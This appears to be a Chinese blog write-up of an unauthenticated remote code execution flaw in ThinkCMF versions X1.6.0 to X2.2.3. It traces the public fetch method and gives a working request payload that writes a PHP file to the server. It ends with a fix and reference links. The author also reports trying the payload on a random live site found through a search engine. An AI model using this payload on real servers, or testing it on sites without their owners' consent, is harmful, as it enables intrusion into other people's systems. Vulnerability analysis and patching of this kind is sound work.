感谢隔壁大表哥“南方有梦”投稿,文尾见真知。
0x00简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
下载一份ThinkCMF的源码[我这里用的是(2.2.3)],打开程序的项目路径,如下显示项目路径在application目录下
//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH', SITE_PATH.'simplewind/');
//
define('SPAPP', './application/');
//项目资源目录,不可更改
define('SPSTATIC', SITE_PATH.'statics/');
//定义缓存存放路径
define("RUNTIME_PATH", SITE_PATH ."data/runtime/");
//静态缓存目录
define("HTML_PATH", SITE_PATH ."data/runtime/Html/");
打开\ThinkCMFX\application\Portal\Controller\IndexController.class.php
,发现display方法,继续追踪HomebaseController
追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。
目录:\ThinkCMFX\application\Common\Controller\HomebaseController.class.php
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo();?>')</php>
这里我就随便找了个站来测试,事先在某fa搜索的
执行我们的payload以后,页面是空白的
我们访问test.php文件
可以看到我们的phpinfo();是被执行了并且创建了一个名为test.php的文件
将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。
详细请参考:
https://www.freebuf.com/vuls/217586.html
https://mp.weixin.qq.com/s/P3KZ9zXvb94IDFf07A9ItA
我是著名的小菜鸡,一块钱四个。欢迎大佬们加我多多交流